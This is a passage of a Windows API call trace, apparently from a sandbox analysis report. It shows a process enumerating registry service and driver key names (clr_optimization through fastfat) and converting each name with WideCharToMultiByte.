lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1da4408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x43, lpName=0x1d92850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1da4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x44, lpName=0x1d92850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x45, lpName=0x1d92850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x46, lpName=0x1d92850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x47, lpName=0x1d92850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x48, lpName=0x1d92850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x1da4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x49, lpName=0x1d92850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4a, lpName=0x1d92850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4b, lpName=0x1d92850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4c, lpName=0x1d92850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4d, lpName=0x1d92850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4e, lpName=0x1d92850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1da4408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4f, lpName=0x1d92850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x50, lpName=0x1d92850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1da4408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0032.728] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x51, lpName=0x1d92850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x52, lpName=0x1d92850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x53, lpName=0x1d92850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x54, lpName=0x1d92850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x1da4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x55, lpName=0x1d92850, cchName=0x104 | out: lpName="discache") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x56, lpName=0x1d92850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x57, lpName=0x1d92850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0032.729] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x58, lpName=0x1d92850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x59, lpName=0x1d92850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5a, lpName=0x1d92850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5b, lpName=0x1d92850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5c, lpName=0x1d92850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5d, lpName=0x1d92850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5e, lpName=0x1d92850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0032.730] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5f, lpName=0x1d92850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x60, lpName=0x1d92850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x61, lpName=0x1d92850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x62, lpName=0x1d92850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x63, lpName=0x1d92850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x64, lpName=0x1d92850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x65, lpName=0x1d92850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x66, lpName=0x1d92850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0032.731] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x67, lpName=0x1d92850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0032.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1da4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x68, lpName=0x1d92850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x69, lpName=0x1d92850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 